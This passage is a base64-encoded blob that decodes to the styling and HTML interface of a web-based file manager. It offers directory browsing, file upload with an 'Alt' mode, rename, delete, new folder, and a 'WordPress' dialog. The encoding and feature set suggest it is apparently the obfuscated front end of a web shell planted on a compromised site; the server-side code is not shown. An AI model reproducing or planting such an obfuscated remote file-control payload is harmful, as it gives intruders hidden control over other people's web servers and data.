lci1ib3g7fQpib2R5e2ZvbnQtZmFtaWx5OnZhcigtLWZvbnQpO2ZvbnQtc2l6ZTp2YXIoLS1mcyk7YmFja2dyb3VuZDojMDA4MDgwO2NvbG9yOiMwMDA7bWluLWhlaWdodDoxMDB2aDtwYWRkaW5nOjMycHggMTZweCA0MHB4O30KLnctZmllbGR7Ym9yZGVyOjJweCBzb2xpZDtib3JkZXItY29sb3I6dmFyKC0tc2gpIHZhcigtLWhpKSB2YXIoLS1oaSkgdmFyKC0tc2gpO2JhY2tncm91bmQ6I2ZmZjtwYWRkaW5nOjJweCA0cHg7Zm9udC1mYW1pbHk6dmFyKC0tZm9udCk7Zm9udC1zaXplOnZhcigtLWZzKTtvdXRsaW5lOm5vbmU7fQoudy13aW57YmFja2dyb3VuZDp2YXIoLS1iZyk7d2lkdGg6MTAwJTttYXgtd2lkdGg6OTAwcHg7Ym9yZGVyOjJweCBzb2xpZDtib3JkZXItY29sb3I6dmFyKC0taGkpIHZhcigtLWRzKSB2YXIoLS1kcykgdmFyKC0taGkpO2JveC1zaGFkb3c6MXB4IDFweCAwICMwMDA7bWFyZ2luOjAgYXV0bzt9Ci53LXRpdGxle2JhY2tncm91bmQ6bGluZWFyLWdyYWRpZW50KDkwZGVnLHZhcigtLXRpdGxlKSwjMTA4NGQwKTtjb2xvcjojZmZmO3BhZGRpbmc6MnB4IDNweDtkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2dhcDozcHg7dXNlci1zZWxlY3Q6bm9uZTtmb250LXdlaWdodDpib2xkO2hlaWdodDoyMnB4O30KLnctdGl0bGUtdGV4dHtmbGV4OjE7cGFkZGluZy1sZWZ0OjJweDt3aGl0ZS1zcGFjZTpub3dyYXA7b3ZlcmZsb3c6aGlkZGVuO3RleHQtb3ZlcmZsb3c6ZWxsaXBzaXM7fQoudy10aXRsZS1idG57d2lkdGg6MTZweDtoZWlnaHQ6MTRweDtiYWNrZ3JvdW5kOnZhcigtLWJnKTtib3JkZXI6MXB4IHNvbGlkO2JvcmRlci1jb2xvcjp2YXIoLS1oaSkgdmFyKC0tZHMpIHZhcigtLWRzKSB2YXIoLS1oaSk7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO2N1cnNvcjpwb2ludGVyO2ZvbnQtc2l6ZTo5cHg7Zm9udC13ZWlnaHQ6Ym9sZDtwYWRkaW5nOjA7Zm9udC1mYW1pbHk6dmFyKC0tZm9udCk7Y29sb3I6IzAwMDt9Ci53LXRpdGxlLWJ0bjphY3RpdmV7Ym9yZGVyLWNvbG9yOnZhcigtLWRzKSB2YXIoLS1oaSkgdmFyKC0taGkpIHZhcigtLWRzKTt9Ci53LW1lbnV7YmFja2dyb3VuZDp2YXIoLS1iZyk7cGFkZGluZzoycHggMDtib3JkZXItYm90dG9tOjFweCBzb2xpZCB2YXIoLS1zaCk7ZGlzcGxheTpmbGV4O30KLnctbWVudS1pdGVte3BhZGRpbmc6MnB4IDhweDtjdXJzb3I6cG9pbnRlcjt9LnctbWVudS1pdGVtOmhvdmVye2JhY2tncm91bmQ6dmFyKC0tc2VsKTtjb2xvcjp2YXIoLS1zZWx0KTt9Ci53LW1lbnUtaXRlbS5kaXNhYmxlZHtjb2xvcjp2YXIoLS1zaCk7Y3Vyc29yOmRlZmF1bHQ7dGV4dC1zaGFkb3c6MXB4IDFweCB2YXIoLS1oaSk7fS53LW1lbnUtaXRlbS5kaXNhYmxlZDpob3ZlcntiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2NvbG9yOnZhcigtLXNoKTt9Ci53LWJvZHl7cGFkZGluZzo2cHg7fQoudy1idG57YmFja2dyb3VuZDp2YXIoLS1iZyk7Ym9yZGVyOjJweCBzb2xpZDtib3JkZXItY29sb3I6dmFyKC0taGkpIHZhcigtLWRzKSB2YXIoLS1kcykgdmFyKC0taGkpO3BhZGRpbmc6MnB4IDhweDtmb250LWZhbWlseTp2YXIoLS1mb250KTtmb250LXNpemU6dmFyKC0tZnMpO2N1cnNvcjpwb2ludGVyO2Rpc3BsYXk6aW5saW5lLWZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2dhcDo0cHg7d2hpdGUtc3BhY2U6bm93cmFwO21pbi1oZWlnaHQ6MjFweDt9Ci53LWJ0bjphY3RpdmV7Ym9yZGVyLWNvbG9yOnZhcigtLWRzKSB2YXIoLS1oaSkgdmFyKC0taGkpIHZhcigtLWRzKTtwYWRkaW5nOjNweCA3cHggMXB4IDlweDt9Ci53LWJ0bjpkaXNhYmxlZHtjb2xvcjp2YXIoLS1zaCk7Y3Vyc29yOmRlZmF1bHQ7fS53LWJ0bjpkaXNhYmxlZDphY3RpdmV7Ym9yZGVyLWNvbG9yOnZhcigtLWhpKSB2YXIoLS1kcykgdmFyKC0tZHMpIHZhcigtLWhpKTtwYWRkaW5nOjJweCA4cHg7fQoudy10b29sYmFye2JhY2tncm91bmQ6dmFyKC0tYmcpO3BhZGRpbmc6M3B4IDRweDtkaXNwbGF5OmZsZXg7ZmxleC13cmFwOndyYXA7Z2FwOjRweDthbGlnbi1pdGVtczpjZW50ZXI7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgdmFyKC0tc2gpO30KLnctc2Vwe3dpZHRoOjJweDtoZWlnaHQ6MjJweDtib3JkZXItbGVmdDoxcHggc29saWQgdmFyKC0tc2gpO2JvcmRlci1yaWdodDoxcHggc29saWQgdmFyKC0taGkpO21hcmdpbjowIDJweDt9Ci53LWFkZHJ7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtnYXA6NHB4O3BhZGRpbmc6M3B4IDRweDtiYWNrZ3JvdW5kOnZhcigtLWJnKTtib3JkZXItYm90dG9tOjFweCBzb2xpZCB2YXIoLS1zaCk7fQoudy1hZGRyIGxhYmVse2ZvbnQtc2l6ZTp2YXIoLS1mcyk7d2hpdGUtc3BhY2U6bm93cmFwO30KLnctYWRkci1iYXJ7ZmxleDoxO2JvcmRlcjoycHggc29saWQ7Ym9yZGVyLWNvbG9yOnZhcigtLXNoKSB2YXIoLS1oaSkgdmFyKC0taGkpIHZhcigtLXNoKTtiYWNrZ3JvdW5kOiNmZmY7cGFkZGluZzoxcHggNHB4O2ZvbnQtZmFtaWx5OnZhcigtLWZvbnQpO2ZvbnQtc2l6ZTp2YXIoLS1mcyk7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjttaW4taGVpZ2h0OjIwcHg7b3ZlcmZsb3cteDphdXRvO3doaXRlLXNwYWNlOm5vd3JhcDt9Ci53LWFkZHItYmFyIGF7Y29sb3I6IzAwMDA4MDt0ZXh0LWRlY29yYXRpb246bm9uZTtwYWRkaW5nOjAgMnB4O2N1cnNvcjpwb2ludGVyO30udy1hZGRyLWJhciBhOmhvdmVye3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7fQoudy1hZGRyLXNlcHtjb2xvcjojODA4MDgwO21hcmdpbjowIDFweDtmb250LXNpemU6MTBweDt9Ci53LXN0YXR1c3tiYWNrZ3JvdW5kOnZhcigtLWJnKTtwYWRkaW5nOjJweCA0cHg7Ym9yZGVyLXRvcDoxcHggc29saWQgdmFyKC0taGkpO2ZvbnQtc2l6ZTp2YXIoLS1mcyk7ZGlzcGxheTpmbGV4O2dhcDoycHg7fQoudy1zdGF0dXMtc2Vje2JvcmRlcjoxcHggc29saWQ7Ym9yZGVyLWNvbG9yOnZhcigtLXNoKSB2YXIoLS1oaSkgdmFyKC0taGkpIHZhcigtLXNoKTtwYWRkaW5nOjFweCA2cHg7b3ZlcmZsb3c6aGlkZGVuO3doaXRlLXNwYWNlOm5vd3JhcDt9Ci53LXN0YXR1cy1zZWM6Zmlyc3QtY2hpbGR7ZmxleDozO30udy1zdGF0dXMtc2VjOmxhc3QtY2hpbGR7ZmxleDoxO30KLmZ0YWJsZXt3aWR0aDoxMDAlO2JvcmRlcjoycHggc29saWQ7Ym9yZGVyLWNvbG9yOnZhcigtLXNoKSB2YXIoLS1oaSkgdmFyKC0taGkpIHZhcigtLXNoKTtiYWNrZ3JvdW5kOiNmZmY7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO30KLmZ0YWJsZSB0aGVhZCB0aHtiYWNrZ3JvdW5kOnZhcigtLWJnKTtib3JkZXI6MXB4IHNvbGlkO2JvcmRlci1jb2xvcjp2YXIoLS1oaSkgdmFyKC0tc2gpIHZhcigtLXNoKSB2YXIoLS1oaSk7cGFkZGluZzoycHggNnB4O3RleHQtYWxpZ246bGVmdDtmb250LXdlaWdodDpub3JtYWw7Y3Vyc29yOmRlZmF1bHQ7d2hpdGUtc3BhY2U6bm93cmFwO2ZvbnQtc2l6ZTp2YXIoLS1mcyk7dXNlci1zZWxlY3Q6bm9uZTt9Ci5mdGFibGUgdGJvZHkgdGR7cGFkZGluZzoxcHggNnB4O2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNlMGUwZTA7d2hpdGUtc3BhY2U6bm93cmFwO292ZXJmbG93OmhpZGRlbjt0ZXh0LW92ZXJmbG93OmVsbGlwc2lzO21heC13aWR0aDozMDBweDtmb250LXNpemU6dmFyKC0tZnMpO30KLmZ0YWJsZSB0Ym9keSB0cntjdXJzb3I6ZGVmYXVsdDt9LmZ0YWJsZSB0Ym9keSB0cjpob3ZlcntiYWNrZ3JvdW5kOiNlOGU4ZjA7fS5mdGFibGUgdGJvZHkgdHIuc2Vse2JhY2tncm91bmQ6dmFyKC0tc2VsKTtjb2xvcjp2YXIoLS1zZWx0KTt9LmZ0YWJsZSB0Ym9keSB0ci5zZWwgYXtjb2xvcjp2YXIoLS1zZWx0KTt9LmZ0YWJsZSB0Ym9keSB0ci5zZWwgLmFjdC1saW5re2NvbG9yOnZhcigtLXNlbHQpO30KLmljb3t3aWR0aDoxNnB4O2hlaWdodDoxNnB4O2Rpc3BsYXk6aW5saW5lLWJsb2NrO3ZlcnRpY2FsLWFsaWduOm1pZGRsZTttYXJnaW4tcmlnaHQ6NHB4O3Bvc2l0aW9uOnJlbGF0aXZlO2ZvbnQtc2l6ZTo3cHg7bGluZS1oZWlnaHQ6MTRweDt0ZXh0LWFsaWduOmNlbnRlcjtmb250LXdlaWdodDpib2xkO2ZsZXgtc2hyaW5rOjA7fQouaWNvLWZvbGRlcntiYWNrZ3JvdW5kOiNjMGEwMDA7Ym9yZGVyOjFweCBzb2xpZCAjODA2MDAwO2JvcmRlci1yYWRpdXM6MCAwIDFweCAxcHg7fS5pY28tZm9sZGVyOjpiZWZvcmV7Y29udGVudDonJztwb3NpdGlvbjphYnNvbHV0ZTt0b3A6LTRweDtsZWZ0Oi0xcHg7d2lkdGg6N3B4O2hlaWdodDo1cHg7YmFja2dyb3VuZDojYzBhMDAwO2JvcmRlcjoxcHggc29saWQgIzgwNjAwMDtib3JkZXItYm90dG9tOm5vbmU7fS5pY28tZm9sZGVyOjphZnRlcntjb250ZW50OicnO3Bvc2l0aW9uOmFic29sdXRlO3RvcDotNHB4O3JpZ2h0Oi0xcHg7d2lkdGg6OXB4O2hlaWdodDozcHg7YmFja2dyb3VuZDojZDRiODAwO2JvcmRlcjoxcHggc29saWQgIzgwNjAwMDtib3JkZXItYm90dG9tOm5vbmU7fQouaWNvLXR4dHtiYWNrZ3JvdW5kOiNmMGYwZjA7Ym9yZGVyOjFweCBzb2xpZCAjODA4MDgwO30uaWNvLXBocHtiYWNrZ3JvdW5kOiM3YjhlZjA7Ym9yZGVyOjFweCBzb2xpZCAjNTA2MGMwO2NvbG9yOiNmZmY7fS5pY28taHRtbHtiYWNrZ3JvdW5kOiNlMDYwNTA7Ym9yZGVyOjFweCBzb2xpZCAjYjA0MDMwO2NvbG9yOiNmZmY7fS5pY28tY3Nze2JhY2tncm91bmQ6IzUwNzBlMDtib3JkZXI6MXB4IHNvbGlkICMzMDUwYjA7Y29sb3I6I2ZmZjt9Lmljby1qc3tiYWNrZ3JvdW5kOiNlOGQ0NGQ7Ym9yZGVyOjFweCBzb2xpZCAjYjBhMDMwO2NvbG9yOiMwMDA7fS5pY28taW1ne2JhY2tncm91bmQ6IzkwNjBjMDtib3JkZXI6MXB4IHNvbGlkICM3MDQwYTA7Y29sb3I6I2ZmZjt9Lmljby16aXB7YmFja2dyb3VuZDojZDA5MDMwO2JvcmRlcjoxcHggc29saWQgI2EwNzAyMDtjb2xvcjojZmZmO30uaWNvLXBkZntiYWNrZ3JvdW5kOiNkMDMwMzA7Ym9yZGVyOjFweCBzb2xpZCAjYTAyMDIwO2NvbG9yOiNmZmY7fS5pY28tZG9je2JhY2tncm91bmQ6IzMwNjBjMDtib3JkZXI6MXB4IHNvbGlkICMyMDQwYTA7Y29sb3I6I2ZmZjt9Lmljby1hdWRpb3tiYWNrZ3JvdW5kOiNjMDYwYzA7Ym9yZGVyOjFweCBzb2xpZCAjOTA0MDkwO2NvbG9yOiNmZmY7fS5pY28tdmlkZW97YmFja2dyb3VuZDojNTBiMGIwO2JvcmRlcjoxcHggc29saWQgIzMwODA4MDtjb2xvcjojZmZmO30uaWNvLWV4ZXtiYWNrZ3JvdW5kOiM5MDkwOTA7Ym9yZGVyOjFweCBzb2xpZCAjNjA2MDYwO2NvbG9yOiNmZmY7fS5pY28tanNvbntiYWNrZ3JvdW5kOiM4MGIwNDA7Ym9yZGVyOjFweCBzb2xpZCAjNjA4MDIwO2NvbG9yOiNmZmY7fS5pY28teG1se2JhY2tncm91bmQ6I2MwYjA0MDtib3JkZXI6MXB4IHNvbGlkICM5MDgwMjA7Y29sb3I6IzAwMDt9Lmljby1kYntiYWNrZ3JvdW5kOiM1MDYwOTA7Ym9yZGVyOjFweCBzb2xpZCAjMzA0MDYwO2NvbG9yOiNmZmY7fS5pY28tcHl7YmFja2dyb3VuZDojNDBhMDYwO2JvcmRlcjoxcHggc29saWQgIzIwODA0MDtjb2xvcjojZmZmO30uaWNvLWZpbGV7YmFja2dyb3VuZDojZjBmMGYwO2JvcmRlcjoxcHggc29saWQgIzgwODA4MDt9Ci5hY3QtbGlua3tjb2xvcjojMDAwMDgwO3RleHQtZGVjb3JhdGlvbjpub25lO2N1cnNvcjpwb2ludGVyO30uYWN0LWxpbms6aG92ZXJ7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTt9Ci5lZGl0b3Itd3JhcCB0ZXh0YXJlYXt3aWR0aDoxMDAlO2hlaWdodDo0NDBweDtmb250LWZhbWlseTonQ291cmllciBOZXcnLG1vbm9zcGFjZTtmb250LXNpemU6MTNweDtsaW5lLWhlaWdodDoxLjQ7Ym9yZGVyOjJweCBzb2xpZDtib3JkZXItY29sb3I6dmFyKC0tc2gpIHZhcigtLWhpKSB2YXIoLS1oaSkgdmFyKC0tc2gpO3Jlc2l6ZTp2ZXJ0aWNhbDtwYWRkaW5nOjZweDtiYWNrZ3JvdW5kOiNmZmY7Y29sb3I6IzAwMDtvdXRsaW5lOm5vbmU7dGFiLXNpemU6NDt9Ci5tb2RhbC1iZ3twb3NpdGlvbjpmaXhlZDt0b3A6MDtsZWZ0OjA7d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTtiYWNrZ3JvdW5kOnJnYmEoMCwwLDAsMC4yNSk7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO3otaW5kZXg6MTAwMDt9Lm1vZGFsLWJnLmhpZGRlbntkaXNwbGF5Om5vbmU7fQoudy1kbGd7YmFja2dyb3VuZDp2YXIoLS1iZyk7Ym9yZGVyOjJweCBzb2xpZDtib3JkZXItY29sb3I6dmFyKC0taGkpIHZhcigtLWRzKSB2YXIoLS1kcykgdmFyKC0taGkpO2JveC1zaGFkb3c6MnB4IDJweCA2cHggcmdiYSgwLDAsMCwwLjQpO21pbi13aWR0aDozMjBweDttYXgtd2lkdGg6NDgwcHg7fQoudy1kbGctdGl0bGV7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQoOTBkZWcsdmFyKC0tdGl0bGUpLCMxMDg0ZDApO2NvbG9yOiNmZmY7cGFkZGluZzoycHggNHB4O2ZvbnQtd2VpZ2h0OmJvbGQ7Zm9udC1zaXplOnZhcigtLWZzKTtkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO3VzZXItc2VsZWN0Om5vbmU7fQoudy1kbGctdGl0bGUgc3BhbntmbGV4OjE7fS53LWRsZy1ib2R5e3BhZGRpbmc6MTJweCAxNnB4O30udy1kbGctZm9vdHtwYWRkaW5nOjhweCAxNnB4IDEycHg7ZGlzcGxheTpmbGV4O2dhcDo2cHg7anVzdGlmeS1jb250ZW50OmZsZXgtZW5kO30KLm1zZ3twYWRkaW5nOjNweCA2cHg7bWFyZ2luLWJvdHRvbTo0cHg7Zm9udC1zaXplOnZhcigtLWZzKTtib3JkZXI6MnB4IHNvbGlkO2FuaW1hdGlvbjpmYWRlb3V0IDNzIGZvcndhcmRzO30ubXNnLWluZm97YmFja2dyb3VuZDojYzBkMGYwO2JvcmRlci1jb2xvcjojODA5MGMwICNmZmYgI2ZmZiAjODA5MGMwO30ubXNnLWVycm9ye2JhY2tncm91bmQ6I2YwYzBjMDtib3JkZXItY29sb3I6I2MwODA4MCAjZmZmICNmZmYgI2MwODA4MDt9CkBrZXlmcmFtZXMgZmFkZW91dHswJXtvcGFjaXR5OjE7fTgwJXtvcGFjaXR5OjE7fTEwMCV7b3BhY2l0eTowO319Ci5lbXB0eS1tc2d7cGFkZGluZzozMHB4O3RleHQtYWxpZ246Y2VudGVyO2NvbG9yOiM4MDgwODA7fQoudy1jYWxjLXdpbnttYXgtd2lkdGg6MzQwcHg7d2lkdGg6MzQwcHg7fS53LWNhbGMtYm9keXtwYWRkaW5nOjhweCAxMHB4IDEwcHg7fS53LWNhbGMtZGlzcGxheXtiYWNrZ3JvdW5kOiNjOGQ4YzA7Ym9yZGVyOjJweCBzb2xpZDtib3JkZXItY29sb3I6dmFyKC0tc2gpIHZhcigtLWhpKSB2YXIoLS1oaSkgdmFyKC0tc2gpO3BhZGRpbmc6NHB4IDZweDtmb250LWZhbWlseTonQ291cmllciBOZXcnLG1vbm9zcGFjZTtmb250LXNpemU6MTFweDtjb2xvcjojMDAzMDAwO3RleHQtYWxpZ246bGVmdDttaW4taGVpZ2h0OjExMHB4O21heC1oZWlnaHQ6MTEwcHg7b3ZlcmZsb3cteTphdXRvO3doaXRlLXNwYWNlOnByZS13cmFwO3dvcmQtYnJlYWs6YnJlYWstYWxsO21hcmdpbi1ib3R0b206NnB4O30udy1jYWxjLWlucHV0c3ttYXJnaW4tYm90dG9tOjhweDt9LnctY2FsYy1pbnB1dHMgbGFiZWx7ZGlzcGxheTpibG9jaztmb250LXNpemU6MTBweDttYXJnaW4tYm90dG9tOjJweDtmb250LXdlaWdodDpib2xkO30udy1jYWxjLWlucHV0cyBpbnB1dHt3aWR0aDoxMDAlO3BhZGRpbmc6MnB4IDRweDtmb250LWZhbWlseTonQ291cmllciBOZXcnLG1vbm9zcGFjZTtmb250LXNpemU6MTFweDtib3JkZXI6MnB4IHNvbGlkO2JvcmRlci1jb2xvcjp2YXIoLS1zaCkgdmFyKC0taGkpIHZhcigtLWhpKSB2YXIoLS1zaCk7YmFja2dyb3VuZDojZmZmO291dGxpbmU6bm9uZTt9Ci53LWNhbGMtZ3JpZHtkaXNwbGF5OmdyaWQ7Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOnJlcGVhdCg1LDFmcik7Z2FwOjRweDt9LnctY2FsYy1idG57YmFja2dyb3VuZDp2YXIoLS1iZyk7Ym9yZGVyOjJweCBzb2xpZDtib3JkZXItY29sb3I6dmFyKC0taGkpIHZhcigtLWRzKSB2YXIoLS1kcykgdmFyKC0taGkpO3BhZGRpbmc6NHB4IDA7Zm9udC1mYW1pbHk6dmFyKC0tZm9udCk7Zm9udC1zaXplOjExcHg7Y3Vyc29yOnBvaW50ZXI7dGV4dC1hbGlnbjpjZW50ZXI7anVzdGlmeS1jb250ZW50OmNlbnRlcjtmb250LXdlaWdodDpib2xkO2NvbG9yOiMwMDA7fS53LWNhbGMtYnRuOmFjdGl2ZXtib3JkZXItY29sb3I6dmFyKC0tZHMpIHZhcigtLWhpKSB2YXIoLS1oaSkgdmFyKC0tZHMpO30udy1jYWxjLWJ0bi53aWRle2dyaWQtY29sdW1uOnNwYW4gMjt9LnctY2FsYy1idG4ucmVke2NvbG9yOiNkMDA7fS53LWNhbGMtYnRuLmJsdWV7Y29sb3I6IzAwZDt9LnctY2FsYy1idG4uZ3JlZW57Y29sb3I6IzA4MDtmb250LXNpemU6MTNweDt9Ci50YXNrYmFye3Bvc2l0aW9uOmZpeGVkO2JvdHRvbTowO2xlZnQ6MDtyaWdodDowO2JhY2tncm91bmQ6dmFyKC0tYmcpO2JvcmRlci10b3A6MnB4IHNvbGlkIHZhcigtLWhpKTtoZWlnaHQ6MjhweDtkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO3BhZGRpbmc6MnB4IDRweDtnYXA6NHB4O3otaW5kZXg6OTk5O30KLnN0YXJ0LWJ0bntiYWNrZ3JvdW5kOnZhcigtLWJnKTtib3JkZXI6MnB4IHNvbGlkO2JvcmRlci1jb2xvcjp2YXIoLS1oaSkgdmFyKC0tZHMpIHZhcigtLWRzKSB2YXIoLS1oaSk7cGFkZGluZzoxcHggNnB4O2ZvbnQtZmFtaWx5OnZhcigtLWZvbnQpO2ZvbnQtc2l6ZTp2YXIoLS1mcyk7Zm9udC13ZWlnaHQ6Ym9sZDtjdXJzb3I6cG9pbnRlcjtkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2dhcDozcHg7aGVpZ2h0OjIycHg7fS5zdGFydC1idG46YWN0aXZle2JvcmRlci1jb2xvcjp2YXIoLS1kcykgdmFyKC0taGkpIHZhcigtLWhpKSB2YXIoLS1kcyk7fQoudGFza2Jhci1hcHB7YmFja2dyb3VuZDp2YXIoLS1iZyk7Ym9yZGVyOjJweCBzb2xpZDtib3JkZXItY29sb3I6dmFyKC0tZHMpIHZhcigtLWhpKSB2YXIoLS1oaSkgdmFyKC0tZHMpO3BhZGRpbmc6MXB4IDhweDtmb250LWZhbWlseTp2YXIoLS1mb250KTtmb250LXNpemU6dmFyKC0tZnMpO2hlaWdodDoyMnB4O2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7Z2FwOjNweDtmb250LXdlaWdodDpib2xkO30KLnRhc2tiYXItdHJheXttYXJnaW4tbGVmdDphdXRvO2JvcmRlcjoxcHggc29saWQ7Ym9yZGVyLWNvbG9yOnZhcigtLXNoKSB2YXIoLS1oaSkgdmFyKC0taGkpIHZhcigtLXNoKTtwYWRkaW5nOjFweCA4cHg7Zm9udC1zaXplOnZhcigtLWZzKTtoZWlnaHQ6MjBweDtkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO30KOjotd2Via2l0LXNjcm9sbGJhcnt3aWR0aDoxNnB4O2hlaWdodDoxNnB4O306Oi13ZWJraXQtc2Nyb2xsYmFyLXRyYWNre2JhY2tncm91bmQ6I2MwYzBjMDtib3JkZXI6MXB4IGluc2V0ICM4MDgwODA7fTo6LXdlYmtpdC1zY3JvbGxiYXItdGh1bWJ7YmFja2dyb3VuZDojYzBjMGMwO2JvcmRlcjoycHggc29saWQ7Ym9yZGVyLWNvbG9yOiNmZmYgIzAwMCAjMDAwICNmZmY7fTo6LXdlYmtpdC1zY3JvbGxiYXItdGh1bWI6aG92ZXJ7YmFja2dyb3VuZDojZDBkMGQwO306Oi13ZWJraXQtc2Nyb2xsYmFyLWJ1dHRvbntiYWNrZ3JvdW5kOiNjMGMwYzA7Ym9yZGVyOjJweCBzb2xpZDtib3JkZXItY29sb3I6I2ZmZiAjMDAwICMwMDAgI2ZmZjt3aWR0aDoxNnB4O2hlaWdodDoxNnB4O30KLmNoay1sYWJlbHtkaXNwbGF5OmlubGluZS1mbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtnYXA6NHB4O2ZvbnQtc2l6ZTp2YXIoLS1mcyk7Y3Vyc29yOnBvaW50ZXI7fQpAbWVkaWEobWF4LXdpZHRoOjY0MHB4KXtib2R5e3BhZGRpbmc6OHB4IDRweCA0MHB4O30udy13aW57bWF4LXdpZHRoOjEwMCU7fS5mdGFibGUgdGJvZHkgdGR7bWF4LXdpZHRoOjEyMHB4O30udy10b29sYmFye2dhcDoycHg7fS53LWJ0bntwYWRkaW5nOjJweCA0cHg7Zm9udC1zaXplOjEwcHg7fX0KPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KCjxkaXYgY2xhc3M9Inctd2luIiBpZD0ibWFpbi13aW4iPgogICAgPGRpdiBjbGFzcz0idy10aXRsZSI+CiAgICAgICAgPGRpdiBzdHlsZT0id2lkdGg6MTRweDtoZWlnaHQ6MTRweDtkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2p1c3RpZnktY29udGVudDpjZW50ZXI7Ij48ZGl2IGNsYXNzPSJpY28gaWNvLWZvbGRlciIgc3R5bGU9Im1hcmdpbjowO3dpZHRoOjE0cHg7aGVpZ2h0OjEycHg7Ij48L2Rpdj48L2Rpdj4KICAgICAgICA8c3BhbiBjbGFzcz0idy10aXRsZS10ZXh0IiBpZD0id2luLXRpdGxlIj5Mb2FkaW5nLi4uPC9zcGFuPgogICAgICAgIDxidXR0b24gY2xhc3M9InctdGl0bGUtYnRuIiBvbmNsaWNrPSJsb2FkRGlyZWN0b3J5KGN1cnJlbnREaXIpIj4mIzk2NDQ7PC9idXR0b24+CiAgICAgICAgPGJ1dHRvbiBjbGFzcz0idy10aXRsZS1idG4iIHN0eWxlPSJmb250LXNpemU6OHB4OyI+JiM5NDczOzwvYnV0dG9uPgogICAgICAgIDxidXR0b24gY2xhc3M9InctdGl0bGUtYnRuIiBvbmNsaWNrPSJsb2FkRGlyZWN0b3J5KGluaXREaXIpIj4mIzEwMDA1OzwvYnV0dG9uPgogICAgPC9kaXY+CgogICAgPGRpdiBjbGFzcz0idy1tZW51Ij4KICAgICAgICA8ZGl2IGNsYXNzPSJ3LW1lbnUtaXRlbSIgb25jbGljaz0ib3BlbkRpYWxvZygnZGxnLWNhbGMnKSI+Q29weTwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9InctbWVudS1pdGVtIiBvbmNsaWNrPSJvcGVuRGlhbG9nKCdkbGctd3AnKSI+V29yZFByZXNzPC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0idy1tZW51LWl0ZW0gZGlzYWJsZWQiPlZpZXc8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJ3LW1lbnUtaXRlbSBkaXNhYmxlZCI+SGVscDwvZGl2PgogICAgPC9kaXY+CgogICAgPGRpdiBjbGFzcz0idy10b29sYmFyIj4KICAgICAgICA8YnV0dG9uIGNsYXNzPSJ3LWJ0biIgaWQ9ImJ0bi1iYWNrIiBvbmNsaWNrPSJsb2FkRGlyZWN0b3J5KHBhcmVudERpcikiPjxiPiYjOTY2NDs8L2I+IEJhY2s8L2J1dHRvbj4KICAgICAgICA8ZGl2IGNsYXNzPSJ3LXNlcCI+PC9kaXY+CiAgICAgICAgPGJ1dHRvbiBjbGFzcz0idy1idG4iIG9uY2xpY2s9Im9wZW5EaWFsb2coJ2RsZy1uZXdmb2xkZXInKSI+PHNwYW4gc3R5bGU9ImNvbG9yOiNjMGEwMDA7Ij4mIzEyODE5Mzs8L3NwYW4+IE5ldyBGb2xkZXI8L2J1dHRvbj4KICAgICAgICA8ZGl2IGNsYXNzPSJ3LXNlcCI+PC9kaXY+CiAgICAgICAgPGRpdiBzdHlsZT0iZGlzcGxheTppbmxpbmUtZmxleDthbGlnbi1pdGVtczpjZW50ZXI7Z2FwOjZweDsiPgogICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJ3LWJ0biIgb25jbGljaz0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3BhdHJhLWlucHV0JykuY2xpY2soKSI+PHNwYW4gc3R5bGU9ImNvbG9yOiMwMDgwMDA7Ij4mIzg1OTM7PC9zcGFuPiBVcGxvYWQ8L2J1dHRvbj4KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImZpbGUiIGlkPSJwYXRyYS1pbnB1dCIgc3R5bGU9ImRpc3BsYXk6bm9uZTsiIG9uY2hhbmdlPSJoYW5kbGVVcGxvYWQodGhpcy5maWxlc1swXSkiPgogICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImNoay1sYWJlbCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBpZD0iYWx0LXVwbG9hZCI+IEFsdDwvbGFiZWw+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0idy1zZXAiPjwvZGl2PgogICAgICAgIDxidXR0b24gY2xhc3M9InctYnRuIiBpZD0iYnRuLXJlbmFtZSIgZGlzYWJsZWQgb25jbGljaz0ib3BlblJlbmFtZSgpIj48c3Bhbj4mIzk5OTg7PC9zcGFuPiBSZW5hbWU8L2J1dHRvbj4KICAgICAgICA8YnV0dG9uIGNsYXNzPSJ3LWJ0biIgaWQ9ImJ0bi1kZWxldGUiIGRpc2FibGVkIG9uY2xpY2s9Im9wZW5EZWxldGUoKSI+PHNwYW4gc3R5bGU9ImNvbG9yOiNjMDA7Ij4mIzEwMDA1Ozwvc3Bhbj4gRGVsZXRlPC9idXR0b24+CiAgICA8L2Rpdj4KCiAgICA8ZGl2IGNsYXNzPSJ3LWFkZHIiPgogICAgICAgID